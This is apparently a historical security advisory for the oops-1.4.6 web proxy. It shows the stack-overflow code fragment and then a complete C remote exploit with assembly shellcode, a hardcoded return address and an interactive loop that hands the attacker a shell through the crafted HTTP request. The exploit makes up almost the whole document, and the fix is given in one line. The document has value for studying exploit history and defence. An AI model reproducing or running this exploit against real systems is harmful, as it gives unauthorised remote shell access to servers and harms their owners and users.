COMMAND
oops
SYSTEMS AFFECTED
oops-1.4.6
PROBLEM
Dmitry Galyant found another hole in oops-1.4.6. Just a code
fragment:
/* check if this is full name */
if ( !strchr(name, '.') ) {
if ( domain_name[0] ) /* join */ {
strcpy((char*)tmpname, name);
strncat((char*)tmpname, domain_name, sizeof(tmpname)-strlen((char*)tmpname) -1 );
name=(char*)tmpname;
}
if ( (result = lookup_dns_cache((char*)tmpname, NULL, 0)) != 0 )
return(result);
}
where tmpname is in stack. So,..., get a fun with xploit...
#define BUFADDR 0xbfafe55f // ret
#define OFFSET2 450 // second copy
#define RETOFF 1363 // ip offset
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
/*
I found two offsets where our shellcode can be placed.
Since ret value is hardcoded, we should use two copies
of shellcode. But last part of the second copy can be
corrupted during procedure processing. Solution is to
check current offset of the shellcode and jump from
second copy to the first one. Something like v1r11 :)
Also we avoids large letters in the shellcode
and some other characters. We simple dup2(33,0) before
execve, so be sure you are only connected if you don't
wanna provide sh3ll for someone else =) Enough...
*/
int
shellcode(char* buf) {
__asm__("
call ne0;
ne0: popl %eax;
nop;
nop;
LEN1 = sh - ne0 ;
leal LEN1(%eax),%eax;
pushl %eax;
pushl 8(%ebp);
call strcpy;
addl $8,%esp;
jmp done;
//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//
sh: .fill 6,1,0x90; // magic nops
jmp me;
retme: popl %esi;
nop;
movl %esi,%eax;
DELTA = huh - sh - 450;
negl %eax;
leal DELTA(%eax),%eax;
negl %eax;
movl (%eax),%ebx;
cmpl $0x90909090,%ebx;
je huh; // we are in the first copy yet
movl %esi,%eax; // jump to first copy
leal -450(%eax),%eax;
jmp *%eax;
me: call retme;
huh: .fill 5,1,0x90;
jmp call0; // just one more (we not shure where we are)
ret0: popl %esi;
movl (%esi),%ebx; // decrypt /bin/sh
subl $0x30303030,%ebx;
movl %ebx,(%esi);
movl 4(%esi),%ebx;
subl $0x30303030,%ebx;
movl %ebx,4(%esi);
xorl %eax,%eax;
movl %esi,%edi;
negl %edi;
leal -7(%edi),%edi;
negl %edi;
movb %al,(%edi); // end it with 0
jmp prep;
call0: call ret0;
.byte 0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */
dup2: leal -4(%esp),%esp;
movl %ecx,(%esp);
leal -4(%esp),%esp;
movl $-33,%eax;
negl %eax;
movl %eax,(%esp);
movl $-0x5a,%eax;
negl %eax;
leal -4(%esp),%esp;
int $0x80;
negl %esp;
leal -0xc(%esp),%esp;
negl %esp;
ret;
prep: xorl %ecx,%ecx;
call dup2;
movb $1,%cl;
call dup2;
movb $2,%cl;
call dup2;
xorl %eax,%eax;
leal -4(%esp),%esp;
movl %eax,(%esp); // 0
leal -4(%esp),%esp;
movl %esi,(%esp); // name
movl %esp,%edi;
leal -4(%esp),%esp;
movl %eax,(%esp); // envp
leal -4(%esp),%esp;
movl %edi,(%esp); // av[]
leal -4(%esp),%esp;
movl %esi,(%esp); // name
movb $0x3b,%al; // execve
leal -4(%esp),%esp;
int $0x80;
xorl %eax,%eax;
movl %eax,(%esp);
movl %eax,%ebx;
movb $1,%al; // exit
leal -4(%esp),%esp;
int $0x80;
nop; // hip
nop; // hop
.byte 0x00;
done:;
");
}
int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);
main(int ac, char** av){
#define SZ 0x2000
#define FIL 0xbf
char buf[SZ],buf2[SZ],*pc,c;
int i,sock;
struct sockaddr_in sin;
short port=3128;
unsigned *pu;
memset(buf,FIL,SZ);
shellcode(buf);
buf[strlen(buf)]=FIL;
pc=&buf[OFFSET2];
shellcode(pc);
pc+=strlen(pc);
*pc=FIL;
pu=(unsigned*)&buf[RETOFF];
*pu=BUFADDR;
buf[RETOFF+4]=0;
strcpy(buf2,"GET http://p");
strcat(buf2,buf);
strcat(buf2," HTTP/1.0\r\n\r\n");
fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
fprintf(stderr,"use for educational purpose only.\n");
if(ac<2) {
fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
exit(0);
}
pc=av[1];
if(ac>2) port=atoi(av[2]);
if(!res(pc,&sin)) {
fprintf(stderr,"can't resolve %s\n",pc);
exit(0);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sin.sin_port=htons(port);
if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
fprintf(stderr,"can't connect %s:%d\n",pc,port);
exit(0);
}
fprintf(stderr,"Connected. Sending surprise...\n");
send(sock,buf2,strlen(buf2),0);
spawned_shell(sock);
}
int res(char* host,struct sockaddr_in * ps)
{
struct hostent *he;
bzero(ps,sizeof(struct sockaddr_in));
ps->sin_family=AF_INET;
ps->sin_len=sizeof(struct sockaddr_in);
if(!inet_aton(host,&ps->sin_addr))
{
he=gethostbyname2(host,AF_INET);
if(!he) return 0;
memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
}
return 1;
}
/*
Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset)) {
i=read(sock,buf,1024);
if (i <= 0){
fprintf(stderr,"Connection lost.\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0){
buf[i]=0;
if(write(sock,buf,i)<0){
fprintf(stderr,"Connection lost.\n");
exit(0);
}
}
}
}
}
SOLUTION
Newer versions shoudl fix that.